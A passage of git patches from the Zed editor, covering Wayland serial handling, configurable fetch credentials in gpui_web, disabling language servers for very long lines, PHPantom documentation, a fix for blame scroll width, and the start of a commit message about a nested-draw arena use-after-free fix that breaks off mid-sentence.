@@ -1579,7 +1579,7 @@ impl PlatformWindow for WaylandWindow {
             // The serial isn't exactly important here, since the activation is probably going to be rejected anyway.
             let serial = state.client.get_serial(SerialKind::MousePress);
             token.set_app_id(app_id);
-            token.set_serial(serial, &state.globals.seat);
+            token.set_serial(serial.as_raw(), &state.globals.seat);
             token.set_surface(&state.surface);
             token.commit();
         }
@@ -1759,7 +1759,7 @@ impl PlatformWindow for WaylandWindow {
         if let Some(toplevel) = state.surface_state.toplevel() {
             toplevel.show_window_menu(
                 &state.globals.seat,
-                serial,
+                serial.as_raw(),
                 f32::from(position.x) as i32,
                 f32::from(position.y) as i32,
             );
@@ -1770,7 +1770,7 @@ impl PlatformWindow for WaylandWindow {
         let state = self.borrow();
         let serial = state.client.get_serial(SerialKind::MousePress);
         if let Some(toplevel) = state.surface_state.toplevel() {
-            toplevel._move(&state.globals.seat, serial);
+            toplevel._move(&state.globals.seat, serial.as_raw());
         }
     }
 
@@ -1779,7 +1779,7 @@ impl PlatformWindow for WaylandWindow {
         if let Some(toplevel) = state.surface_state.toplevel() {
             toplevel.resize(
                 &state.globals.seat,
-                state.client.get_serial(SerialKind::MousePress),
+                state.client.get_serial(SerialKind::MousePress).as_raw(),
                 edge.to_xdg(),
             )
         }

From 75b1c8b71af998ee169cc36141b95e2df1ed5937 Mon Sep 17 00:00:00 2001
From: Gaauwe Rombouts <mail@grombouts.nl>
Date: Wed, 22 Jul 2026 13:12:36 +0000
Subject: [PATCH 630/772] gpui_web: Support configurable fetch credentials
 (#61460)

Adds configurable browser Fetch credential handling to `gpui_web`.
`FetchHttpClient` can now use `omit`, `same-origin`, or `include`,
allowing cross-origin WASM requests to send session cookies while
preserving `same-origin` as the default.

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/gpui_web/Cargo.toml         |  1 +
 crates/gpui_web/src/gpui_web.rs    |  2 +-
 crates/gpui_web/src/http_client.rs | 33 +++++++++++++++++++++++++++++-
 3 files changed, 34 insertions(+), 2 deletions(-)

diff --git a/crates/gpui_web/Cargo.toml b/crates/gpui_web/Cargo.toml
index 643310f3ac174a..45420bf880f0f8 100644
--- a/crates/gpui_web/Cargo.toml
+++ b/crates/gpui_web/Cargo.toml
@@ -66,6 +66,7 @@ web-sys = { version = "0.3", features = [
     "VisualViewport",
     "Headers",
     "Request",
+    "RequestCredentials",
     "RequestInit",
     "RequestRedirect",
     "Response",
diff --git a/crates/gpui_web/src/gpui_web.rs b/crates/gpui_web/src/gpui_web.rs
index 9cd773823bd9b6..dd9c3948163c61 100644
--- a/crates/gpui_web/src/gpui_web.rs
+++ b/crates/gpui_web/src/gpui_web.rs
@@ -11,7 +11,7 @@ mod window;
 
 pub use dispatcher::WebDispatcher;
 pub use display::WebDisplay;
-pub use http_client::FetchHttpClient;
+pub use http_client::{FetchCredentials, FetchHttpClient};
 pub use keyboard::WebKeyboardLayout;
 pub use logging::init_logging;
 pub use platform::WebPlatform;
diff --git a/crates/gpui_web/src/http_client.rs b/crates/gpui_web/src/http_client.rs
index 14d58cf4576688..2ea7a388d6b390 100644
--- a/crates/gpui_web/src/http_client.rs
+++ b/crates/gpui_web/src/http_client.rs
@@ -15,11 +15,34 @@ extern "C" {
 
 pub struct FetchHttpClient {
     user_agent: Option<http_client::http::header::HeaderValue>,
+    credentials: FetchCredentials,
+}
+
+/// Controls whether browser Fetch requests include credentials.
+#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
+pub enum FetchCredentials {
+    /// Never send credentials in the request or include credentials in the response.
+    Omit,
+    /// Only send and include credentials for same-origin requests. This is the default.
+    #[default]
+    SameOrigin,
+    /// Always include credentials, even for cross-origin requests.
+    Include,
 }
 
 impl Default for FetchHttpClient {
     fn default() -> Self {
-        Self { user_agent: None }
+        Self {
+            user_agent: None,
+            credentials: FetchCredentials::default(),
+        }
+    }
+}
+
+impl FetchHttpClient {
+    pub fn with_credentials(mut self, credentials: FetchCredentials) -> Self {
+        self.credentials = credentials;
+        self
     }
 }
 
@@ -40,6 +63,7 @@ impl FetchHttpClient {
             user_agent: Some(http_client::http::header::HeaderValue::from_str(
                 user_agent,
             )?),
+            credentials: FetchCredentials::default(),
         })
     }
 }
@@ -55,6 +79,7 @@ impl FetchHttpClient {
             user_agent: Some(http_client::http::header::HeaderValue::from_str(
                 user_agent,
             )?),
+            credentials: FetchCredentials::default(),
         })
     }
 }
@@ -94,12 +119,18 @@ impl HttpClient for FetchHttpClient {
     ) -> futures::future::BoxFuture<'static, anyhow::Result<http_client::http::Response<AsyncBody>>>
     {
         let (parts, body) = req.into_parts();
+        let credentials = self.credentials;
 
         Box::pin(AssertSend(async move {
             let body_bytes = read_body_to_bytes(body).await?;
 
             let init = web_sys::RequestInit::new();
             init.set_method(parts.method.as_str());
+            init.set_credentials(match credentials {
+                FetchCredentials::Omit => web_sys::RequestCredentials::Omit,
+                FetchCredentials::SameOrigin => web_sys::RequestCredentials::SameOrigin,
+                FetchCredentials::Include => web_sys::RequestCredentials::Include,
+            });
 
             if let Some(redirect_policy) = parts.extensions.get::<RedirectPolicy>() {
                 match redirect_policy {

From 54c5db834609bab961478ee523c2b6d906632e49 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Wed, 22 Jul 2026 13:25:49 +0000
Subject: [PATCH 631/772] Disable LSP for files with very long lines (#61447)

Release Notes:

- Fixed ui stutters when opening large single line files like minified
javascript due to running LSP requests against them
---
 assets/settings/default.json                  |   5 +
 crates/editor/src/editor_tests.rs             |   2 +
 crates/project/src/lsp_store.rs               |  42 ++++++-
 crates/project/src/project_settings.rs        |  11 ++
 .../tests/integration/project_tests.rs        | 114 +++++++++++++++++-
 crates/settings_content/src/project.rs        |   5 +
 docs/src/reference/all-settings.md            |   2 +
 7 files changed, 173 insertions(+), 8 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 397960df19ec35..af1f6639797b64 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -2561,6 +2561,11 @@
     //
     // Default: 120
     "request_timeout": 120,
+    // The maximum line length a buffer may contain before language server features are disabled
+    // for the entire buffer.
+    //
+    // Default: 20000
+    "max_buffer_line_length": 20000,
     "notifications": {
       // Timeout in milliseconds for automatically dismissing language server notifications.
       // Set to 0 to disable auto-dismiss.
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index d8af07824e1a42..d7c68d63997503 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -35681,6 +35681,7 @@ async fn test_inlay_hints_request_timeout(cx: &mut TestAppContext) {
             store.update_user_settings(cx, &|settings: &mut SettingsContent| {
                 settings.global_lsp_settings = Some(GlobalLspSettingsContent {
                     request_timeout: Some(BASE_TIMEOUT_SECS),
+                    max_buffer_line_length: None,
                     button: Some(true),
                     notifications: None,
                     semantic_token_rules: None,
@@ -35791,6 +35792,7 @@ async fn test_inlay_hints_request_timeout(cx: &mut TestAppContext) {
             store.update_user_settings(cx, |settings| {
                 settings.global_lsp_settings = Some(GlobalLspSettingsContent {
                     request_timeout: Some(BASE_TIMEOUT_SECS * 4),
+                    max_buffer_line_length: None,
                     button: Some(true),
                     notifications: None,
                     semantic_token_rules: None,
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 593c1dd66b707b..5b911dc3c734ad 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -1621,12 +1621,19 @@ impl LocalLspStore {
         let (adapters_and_servers, settings, request_timeout) =
             lsp_store.update(cx, |lsp_store, cx| {
                 buffer.handle.update(cx, |buffer, cx| {
-                    let adapters_and_servers = lsp_store
-                        .as_local()
-                        .unwrap()
-                        .language_servers_for_buffer(buffer, cx)
-                        .map(|(adapter, lsp)| (adapter.clone(), lsp.clone()))
-                        .collect::<Vec<_>>();
+                    let adapters_and_servers =
+                        if LocalLspStore::language_server_line_length_limit_exceeded(buffer, cx)
+                            .is_some()
+                        {
+                            Vec::new()
+                        } else {
+                            lsp_store
+                                .as_local()
+                                .unwrap()
+                                .language_servers_for_buffer(buffer, cx)
+                                .map(|(adapter, lsp)| (adapter.clone(), lsp.clone()))
+                                .collect::<Vec<_>>()
+                        };
                     let settings = LanguageSettings::for_buffer(buffer, cx).into_owned();
                     let request_timeout = ProjectSettings::get_global(cx)
                         .global_lsp_settings
@@ -2877,6 +2884,15 @@ impl LocalLspStore {
             });
     }
 
+    fn language_server_line_length_limit_exceeded(buffer: &Buffer, cx: &App) -> Option<(u32, u32)> {
+        let maximum_line_length = ProjectSettings::get_global(cx)
+            .global_lsp_settings
+            .max_buffer_line_length;
+        let longest_line_length = buffer.text_snapshot().text_summary().longest_row_chars;
+        (longest_line_length > maximum_line_length)
+            .then_some((longest_line_length, maximum_line_length))
+    }
+
     fn register_buffer_with_language_servers(
         &mut self,
         buffer_handle: &Entity<Buffer>,
@@ -2897,6 +2913,17 @@ impl LocalLspStore {
         }
 
         let abs_path = file.abs_path(cx);
+        if let Some((longest_line_length, maximum_line_length)) =
+            Self::language_server_line_length_limit_exceeded(buffer, cx)
+        {
+            log::debug!(
+                "not registering {} with language servers because its longest line has {} characters, exceeding the configured limit of {}",
+                abs_path.display(),
+                longest_line_length,
+                maximum_line_length,
+            );
+            return;
+        }
         let Some(uri) = file_path_to_lsp_url(&abs_path).log_err() else {
             return;
         };
@@ -12230,6 +12257,9 @@ impl LspStore {
                     Some(language) => language,
                     None => continue,
                 };
+                if LocalLspStore::language_server_line_length_limit_exceeded(buffer, cx).is_some() {
+                    continue;
+                }
 
                 if !worktrees_using_server.contains(&file.worktree.read(cx).id())
                     || !lsp_adapters
diff --git a/crates/project/src/project_settings.rs b/crates/project/src/project_settings.rs
index 68e40162ded9d7..86d0d43a4a57a2 100644
--- a/crates/project/src/project_settings.rs
+++ b/crates/project/src/project_settings.rs
@@ -133,6 +133,10 @@ pub struct GlobalLspSettings {
     ///
     /// Default: `120`
     pub request_timeout: u64,
+    /// The maximum line length a buffer may contain before language server features are disabled for the entire buffer.
+    ///
+    /// Default: `20000`
+    pub max_buffer_line_length: u32,
     pub notifications: LspNotificationSettings,
 
     /// Rules for highlighting semantic tokens.
@@ -144,6 +148,7 @@ impl Default for GlobalLspSettings {
         Self {
             button: true,
             request_timeout: DEFAULT_LSP_REQUEST_TIMEOUT_SECS,
+            max_buffer_line_length: 20_000,
             notifications: LspNotificationSettings::default(),
             semantic_token_rules: SemanticTokenRules::default(),
         }
@@ -737,6 +742,12 @@ impl Settings for ProjectSettings {
                     .unwrap()
                     .request_timeout
                     .unwrap(),
+                max_buffer_line_length: content
+                    .global_lsp_settings
+                    .as_ref()
+                    .unwrap()
+                    .max_buffer_line_length
+                    .unwrap(),
                 notifications: LspNotificationSettings {
                     dismiss_timeout_ms: content
                         .global_lsp_settings
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 6857ce680ae371..e4796b29a1c1ef 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -26,7 +26,7 @@ use buffer_diff::{
 use collections::{BTreeSet, HashMap, HashSet};
 use encoding_rs;
 use fs::{FakeFs, PathEventKind, RealFs};
-use futures::{StreamExt, future};
+use futures::{FutureExt as _, StreamExt, future};
 use git::{
     GitHostingProviderRegistry,
     repository::{RepoPath, repo_path},
@@ -66,7 +66,7 @@ use project::{
 };
 use rand::{Rng as _, rngs::StdRng};
 use serde_json::json;
-use settings::SettingsStore;
+use settings::{GlobalLspSettingsContent, SettingsStore};
 #[cfg(target_os = "linux")]
 use settings::{LocalSettingsKind, LocalSettingsPath};
 #[cfg(not(windows))]
@@ -3555,6 +3555,116 @@ async fn test_cancel_language_server_work(cx: &mut gpui::TestAppContext) {
     );
 }
 
+#[gpui::test]
+async fn test_long_lines_disable_language_servers(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/dir"),
+        json!({
+            "minified.js": "x".repeat(20_001),
+            "normal.js": "const answer = 42;",
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs, [path!("/dir").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    let mut fake_js_servers = language_registry.register_fake_lsp(
+        "JavaScript",
+        FakeLspAdapter {
+            name: "js-lsp",
+            ..Default::default()
+        },
+    );
+    language_registry.add(js_lang());
+
+    let _minified_buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/dir/minified.js"), cx)
+        })
+        .await
+        .unwrap();
+    cx.executor().run_until_parked();
+    assert!(fake_js_servers.next().now_or_never().is_none());
+
+    let _normal_buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/dir/normal.js"), cx)
+        })
+        .await
+        .unwrap();
+    let mut fake_js_server = fake_js_servers.next().await.unwrap();
+    assert_eq!(
+        fake_js_server
+            .receive_notification::<lsp::notification::DidOpenTextDocument>()
+            .await
+            .text_document
+            .uri
+            .as_str(),
+        uri!("file:///dir/normal.js")
+    );
+    cx.executor().run_until_parked();
+    assert!(
+        fake_js_server
+            .receive_notification::<lsp::notification::DidOpenTextDocument>()
+            .now_or_never()
+            .is_none()
+    );
+}
+
+#[gpui::test]
+async fn test_max_buffer_line_length_can_be_overridden(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(path!("/dir"), json!({ "minified.js": "x".repeat(20_001) }))
+        .await;
+
+    let project = Project::test(fs, [path!("/dir").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    let mut fake_js_servers = language_registry.register_fake_lsp(
+        "JavaScript",
+        FakeLspAdapter {
+            name: "js-lsp",
+            ..Default::default()
+        },
+    );
+    language_registry.add(js_lang());
+
+    let _minified_buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/dir/minified.js"), cx)
+        })
+        .await
+        .unwrap();
+    cx.executor().run_until_parked();
+    assert!(fake_js_servers.next().now_or_never().is_none());
+
+    cx.update(|cx| {
+        SettingsStore::update_global(cx, |settings, cx| {
+            settings.update_user_settings(cx, |settings| {
+                settings.global_lsp_settings = Some(GlobalLspSettingsContent {
+                    max_buffer_line_length: Some(20_001),
+                    ..Default::default()
+                });
+            });
+        })
+    });
+
+    let mut fake_js_server = fake_js_servers.next().await.unwrap();
+    assert_eq!(
+        fake_js_server
+            .receive_notification::<lsp::notification::DidOpenTextDocument>()
+            .await
+            .text_document
+            .uri
+            .as_str(),
+        uri!("file:///dir/minified.js")
+    );
+}
+
 #[gpui::test]
 async fn test_toggling_enable_language_server(cx: &mut gpui::TestAppContext) {
     init_test(cx);
diff --git a/crates/settings_content/src/project.rs b/crates/settings_content/src/project.rs
index f178e59efcbdfe..84b41706e58203 100644
--- a/crates/settings_content/src/project.rs
+++ b/crates/settings_content/src/project.rs
@@ -234,6 +234,11 @@ pub struct GlobalLspSettingsContent {
     ///
     /// Default: `120`
     pub request_timeout: Option<u64>,
+    /// The maximum line length a buffer may contain before language server features are disabled for the entire buffer.
+    ///
+    /// Default: `20000`
+    #[schemars(range(min = 1))]
+    pub max_buffer_line_length: Option<u32>,
     /// Settings for language server notifications
     pub notifications: Option<LspNotificationSettingsContent>,
     /// Rules for rendering LSP semantic tokens.
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index 13123caf5bc49d..25024fc908bf89 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -1851,6 +1851,7 @@ While other options may be changed at a runtime and should be placed under `sett
   "global_lsp_settings": {
     "button": true,
     "request_timeout": 120,
+    "max_buffer_line_length": 20000,
     "notifications": {
       // Timeout in milliseconds for automatically dismissing language server notifications.
       // Set to 0 to disable auto-dismiss.
@@ -1864,6 +1865,7 @@ While other options may be changed at a runtime and should be placed under `sett
 
 - `button`: Whether to show the LSP status button in the status bar
 - `request_timeout`: The maximum amount of time to wait for responses from language servers, in seconds. A value of `0` will result in no timeout being applied (causing all LSP responses to wait indefinitely until completed). Default: `120`
+- `max_buffer_line_length`: The maximum line length a buffer may contain before Zed disables all language server features for that entire buffer. If any line exceeds this value, Zed does not open the buffer with language servers or send them buffer-specific requests. Default: `20000`
 - `notifications`: Notification-related settings.
   - `dismiss_timeout_ms`: Timeout in milliseconds for automatically dismissing language server notifications. Set to 0 to disable auto-dismiss.
 

From 3f7f0565de5bdf357e43554f2639302449747db7 Mon Sep 17 00:00:00 2001
From: Mahammad Nabiyev <73700546+Nabiyevv@users.noreply.github.com>
Date: Wed, 22 Jul 2026 13:46:00 +0000
Subject: [PATCH 632/772] docs: Add PHPantom language server configuration
 (#61387)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Adds documentation for **PHPantom**—a fast, Rust-based PHP language
server—as a selectable language server alongside `PhpTools`,
`Intelephense`, and `Phpactor`.

Release Notes:

- N/A

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 assets/settings/default.json      |  4 +--
 docs/src/configuring-languages.md |  4 +--
 docs/src/languages/php.md         | 46 ++++++++++++++++++++++++++++---
 3 files changed, 46 insertions(+), 8 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index af1f6639797b64..0ecebd2dde9153 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -2342,7 +2342,7 @@
       },
     },
     "PHP": {
-      "language_servers": ["phpactor", "!intelephense", "!phptools", "..."],
+      "language_servers": ["phpactor", "!intelephense", "!phptools", "!phpantom", "..."],
       "prettier": {
         "allowed": true,
         "plugins": ["@prettier/plugin-php"],
@@ -2698,7 +2698,7 @@
   "windows": {
     "languages": {
       "PHP": {
-        "language_servers": ["intelephense", "!phpactor", "!phptools", "..."],
+        "language_servers": ["intelephense", "!phpactor", "!phptools", "!phpantom", "..."],
       },
     },
   },
diff --git a/docs/src/configuring-languages.md b/docs/src/configuring-languages.md
index 835fcd789d4d8b..5907ef6626519d 100644
--- a/docs/src/configuring-languages.md
+++ b/docs/src/configuring-languages.md
@@ -115,7 +115,7 @@ You can specify your preference using the `language_servers` setting:
 ```json [settings]
   "languages": {
     "PHP": {
-      "language_servers": ["intelephense", "!phpactor", "!phptools", "..."]
+      "language_servers": ["intelephense", "!phpactor", "!phptools", "!phpantom", "..."]
     }
   }
 ```
@@ -123,7 +123,7 @@ You can specify your preference using the `language_servers` setting:
 In this example:
 
 - `intelephense` is set as the primary language server.
-- `phpactor` and `phptools` are disabled (note the `!` prefix).
+- `phpactor`, `phptools` and `phpantom` are disabled (note the `!` prefix).
 - `"..."` expands to the rest of the language servers registered for PHP that are not already listed.
 
 The `"..."` entry acts as a wildcard that includes any registered language server you haven't explicitly mentioned. Servers you list by name keep their position, and `"..."` fills in the remaining ones at that point in the list. Servers prefixed with `!` are excluded entirely. This means that if a new language server extension is installed or a new server is registered for a language, `"..."` will automatically include it. If you want full control over which servers are enabled, omit `"..."` — only the servers you list by name will be used.
diff --git a/docs/src/languages/php.md b/docs/src/languages/php.md
index 8ce513ba05e4dd..0377933bed6c11 100644
--- a/docs/src/languages/php.md
+++ b/docs/src/languages/php.md
@@ -38,7 +38,7 @@ where php
 
 ## Choosing a language server
 
-The PHP extension uses [LSP language servers](https://microsoft.github.io/language-server-protocol) with Phpactor as the default. If you want to use other language servers that support Zed (e.g. Intelephense or PHP Tools), make sure to follow the documentation on how to implement it.
+The PHP extension uses [LSP language servers](https://microsoft.github.io/language-server-protocol) with Phpactor as the default. If you want to use other language servers that support Zed (e.g. Intelephense, PHP Tools or PHPantom), make sure to follow the documentation on how to implement it.
 
 ### Intelephense
 
@@ -50,7 +50,13 @@ Configure language servers in Settings ({#kb zed::OpenSettings}) under Languages
 {
   "languages": {
     "PHP": {
-      "language_servers": ["intelephense", "!phpactor", "!phptools", "..."]
+      "language_servers": [
+        "intelephense",
+        "!phpactor",
+        "!phptools",
+        "!phpantom",
+        "..."
+      ]
     }
   }
 }
@@ -82,7 +88,13 @@ Configure language servers in Settings ({#kb zed::OpenSettings}) under Languages
 {
   "languages": {
     "PHP": {
-      "language_servers": ["phptools", "!intelephense", "!phpactor", "..."]
+      "language_servers": [
+        "phptools",
+        "!intelephense",
+        "!phpactor",
+        "!phpantom",
+        "..."
+      ]
     }
   }
 }
@@ -118,7 +130,33 @@ Configure language servers in Settings ({#kb zed::OpenSettings}) under Languages
 {
   "languages": {
     "PHP": {
-      "language_servers": ["phpactor", "!intelephense", "!phptools", "..."]
+      "language_servers": [
+        "phpactor",
+        "!intelephense",
+        "!phptools",
+        "!phpantom",
+        "..."
+      ]
+    }
+  }
+}
+```
+
+### PHPantom
+
+Configure language servers in Settings ({#kb zed::OpenSettings}) under Languages > PHP, or add to your settings file:
+
+```json [settings]
+{
+  "languages": {
+    "PHP": {
+      "language_servers": [
+        "phpantom",
+        "!phpactor",
+        "!intelephense",
+        "!phptools",
+        "..."
+      ]
     }
   }
 }

From 1817b43c80707a3e49c3946a72bd39ee3134c654 Mon Sep 17 00:00:00 2001
From: Vlad Gaevsky <kelstar95@gmail.com>
Date: Wed, 22 Jul 2026 14:32:56 +0000
Subject: [PATCH 633/772] editor: Do not reserve inline blame scroll width when
 blame is in the status bar (#61422)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Problem

When `git.inline_blame.location` is `status_bar` (anything other than
`inline`), nothing is painted inline at the end of the line — yet the
horizontal scroll range still reserves the longest row's inline blame
width (introduced in #23374), letting the editor scroll into blank space
when a line is long enough to scroll. Reported in #24752 (e.g.
@Nemesis19's comment: still reproduces with `location: status_bar`).

## Fix

Skip the blame width reservation in the scroll range when the blame
location isn't `Inline` — one guard in the `longest_line_blame_width`
closure in `element.rs`. This is independent of the soft-wrap fix for
#24752 (#61319) and can land on its own.

## Test

`test_status_bar_blame_location_reserves_no_scroll_width` asserts that,
with a long line and no soft wrap, moving blame from inline to the
status bar shrinks the horizontal scroll range (the reservation is
dropped). It uses a fixed-width test `BlameRenderer`, since the default
test renderer returns `None` and never exercised the reservation.

Release Notes:

- Fixed inline git blame reserving horizontal scroll space even when
blame is displayed in the status bar
---
 crates/editor/src/element.rs | 199 ++++++++++++++++++++++++++++++++++-
 1 file changed, 198 insertions(+), 1 deletion(-)

diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index e3e1c145626550..be019873335513 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -64,7 +64,7 @@ use multi_buffer::{
 
 use project::{
     debugger::breakpoint_store::{Breakpoint, BreakpointSessionState},
-    project_settings::ProjectSettings,
+    project_settings::{InlineBlameLocation, ProjectSettings},
 };
 use settings::{
     GitGutterSetting, GitHunkStyleSetting, IndentGuideBackgroundColoring, IndentGuideColoring,
@@ -8599,6 +8599,14 @@ impl Element for EditorElement {
                             if !editor.show_git_blame_inline {
                                 return None;
                             }
+                            // Blame is only painted inline for the Inline location, so
+                            // reserving scroll room for it in other locations would let
+                            // the editor scroll into blank space.
+                            if ProjectSettings::get_global(cx).git.inline_blame.location
+                                != InlineBlameLocation::Inline
+                            {
+                                return None;
+                            }
                             let blame = editor.blame.as_ref()?;
                             let (_, blame_entry) = blame
                                 .update(cx, |blame, cx| {
@@ -10999,6 +11007,195 @@ mod tests {
         }
     }
 
+    #[gpui::test]
+    async fn test_status_bar_blame_location_reserves_no_scroll_width(cx: &mut TestAppContext) {
+        struct FixedWidthBlameRenderer;
+
+        impl BlameRenderer for FixedWidthBlameRenderer {
+            fn max_author_length(&self) -> usize {
+                20
+            }
+
+            fn render_blame_entry(
+                &self,
+                _: &gpui::TextStyle,
+                _: BlameEntry,
+                _: Option<ParsedCommitMessage>,
+                _: Vec<SharedString>,
+                _: Entity<project::git_store::Repository>,
+                _: WeakEntity<Workspace>,
+                _: Entity<Editor>,
+                _: usize,
+                _: Hsla,
+                _: &mut Window,
+                _: &mut App,
+            ) -> Option<AnyElement> {
+                None
+            }
+
+            fn render_inline_blame_entry(
+                &self,
+                _: &gpui::TextStyle,
+                _: BlameEntry,
+                _: &mut App,
+            ) -> Option<AnyElement> {
+                Some(div().w(px(160.)).into_any_element())
+            }
+
+            fn render_blame_entry_popover(
+                &self,
+                _: BlameEntry,
+                _: ScrollHandle,
+                _: Option<ParsedCommitMessage>,
+                _: Vec<SharedString>,
+                _: Entity<Markdown>,
+                _: Entity<project::git_store::Repository>,
+                _: WeakEntity<Workspace>,
+                _: &mut Window,
+                _: &mut App,
+            ) -> Option<AnyElement> {
+                None
+            }
+
+            fn open_blame_commit(
+                &self,
+                _: BlameEntry,
+                _: Entity<project::git_store::Repository>,
+                _: WeakEntity<Workspace>,
+                _: &mut Window,
+                _: &mut App,
+            ) {
+            }
+        }
+
+        init_test(cx, |_| {});
+        cx.update(|cx| crate::git::set_blame_renderer(FixedWidthBlameRenderer, cx));
+
+        let fs = project::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            util::path!("/my-repo"),
+            serde_json::json!({
+                ".git": {},
+                "file.txt": "a ".repeat(100),
+            }),
+        )
+        .await;
+        fs.set_blame_for_repo(
+            std::path::Path::new(util::path!("/my-repo/.git")),
+            vec![(
+                git::repository::repo_path("file.txt"),
+                git::blame::Blame {
+                    entries: vec![BlameEntry {
+                        sha: "1b1b1b".parse().unwrap(),
+                        range: 0..1,
+                        original_line_number: 0,
+                        author: None,
+                        author_mail: None,
+                        author_time: None,
+                        author_tz: None,
+                        committer_name: None,
+                        committer_email: None,
+                        committer_time: None,
+                        committer_tz: None,
+                        summary: None,
+                        previous: None,
+                        filename: String::new(),
+                    }],
+                    ..Default::default()
+                },
+            )],
+        );
+
+        let project = project::Project::test(fs, [util::path!("/my-repo").as_ref()], cx).await;
+        let buffer = project
+            .update(cx, |project, cx| {
+                project.open_local_buffer(util::path!("/my-repo/file.txt"), cx)
+            })
+            .await
+            .unwrap();
+        let buffer_id = buffer.read_with(cx, |buffer, _| buffer.remote_id());
+        let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+
+        let window = cx.add_window(|window, cx| {
+            // No soft wrap: a long line legitimately scrolls horizontally, so the
+            // inline blame width reservation is meaningful and observable here.
+            let mut editor = Editor::new(EditorMode::full(), buffer, Some(project), window, cx);
+            editor.set_soft_wrap_mode(language_settings::SoftWrap::None, cx);
+            editor
+        });
+        let cx = &mut VisualTestContext::from_window(*window, cx);
+        let editor = window.root(cx).unwrap();
+        cx.update(|window, cx| window.focus(&editor.read(cx).focus_handle(cx), cx));
+        editor.update(cx, |editor, cx| {
+            editor
+                .blame()
+                .expect("inline blame should be running")
+                .clone()
+                .update(cx, |blame, cx| blame.focus(cx))
+        });
+        cx.executor().run_until_parked();
+
+        // Ensure the blame entry actually loaded, so a broken setup can't let this
+        // test pass vacuously with a zero-width blame reservation on both draws.
+        editor.update(cx, |editor, cx| {
+            assert!(editor.show_git_blame_inline);
+            let blame = editor
+                .blame()
+                .expect("inline blame should be running")
+                .clone();
+            let entry = blame.update(cx, |blame, cx| {
+                blame
+                    .blame_for_rows(
+                        &[RowInfo {
+                            buffer_row: Some(0),
+                            buffer_id: Some(buffer_id),
+                            ..Default::default()
+                        }],
+                        cx,
+                    )
+                    .next()
+                    .flatten()
+            });
+            assert!(entry.is_some(), "blame entry should be available");
+        });
+
+        let style = cx.update(|_, cx| editor.update(cx, |editor, cx| editor.style(cx).clone()));
+
+        // Default `Inline` location: the long line plus the reserved inline blame
+        // width push the horizontal scroll range past the viewport.
+        let (_, state) = cx.draw(Default::default(), size(px(226.), px(500.)), |_, _| {
+            EditorElement::new(&editor, style.clone())
+        });
+        let scroll_max_with_inline_blame = state.position_map.scroll_max.x;
+        assert!(
+            scroll_max_with_inline_blame > 0.,
+            "inline blame on a long line should reserve horizontal scroll room"
+        );
+
+        // Moving blame to the status bar paints nothing inline, so the reservation
+        // must be dropped and the scroll range shrink accordingly.
+        cx.update(|_, cx| {
+            cx.update_global::<settings::SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings
+                        .git
+                        .get_or_insert_default()
+                        .inline_blame
+                        .get_or_insert_default()
+                        .location = Some(settings::InlineBlameLocation::StatusBar);
+                });
+            });
+        });
+
+        let (_, state) = cx.draw(Default::default(), size(px(226.), px(500.)), |_, _| {
+            EditorElement::new(&editor, style.clone())
+        });
+        assert!(
+            state.position_map.scroll_max.x < scroll_max_with_inline_blame,
+            "Blame in the status bar should not reserve horizontal scroll room"
+        );
+    }
+
     #[gpui::test]
     async fn test_point_for_position_clipped_rows(cx: &mut TestAppContext) {
         init_test(cx, |_| {});

From ec3d887507f272119d9fe146c685f0a941d0e798 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Wed, 22 Jul 2026 15:25:22 +0000
Subject: [PATCH 634/772] gpui: Defer element arena clears while an enclosing
 draw is in progress (#60295)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

GPUI allocates every element for a draw in a single per-App bump arena,
and `Arena::clear()` assumed no draw was in progress. But draws can
nest: on Windows, the window procedure re-enters whenever the main
thread pumps messages mid-draw (cross-thread `SendMessage` dispatch,
modal message loops entered by COM/OLE calls such as clipboard reads),
and on any platform a draw can be triggered from within another draw
(e.g. `open_window`). When a nested draw finished, its arena clear freed
and rewound memory the outer draw was still using. The `ArenaBox`
validity flag only guards new derefs, so `&mut` references already held
by the outer draw silently pointed into reused memory. That
use-after-free corrupted element-state keys
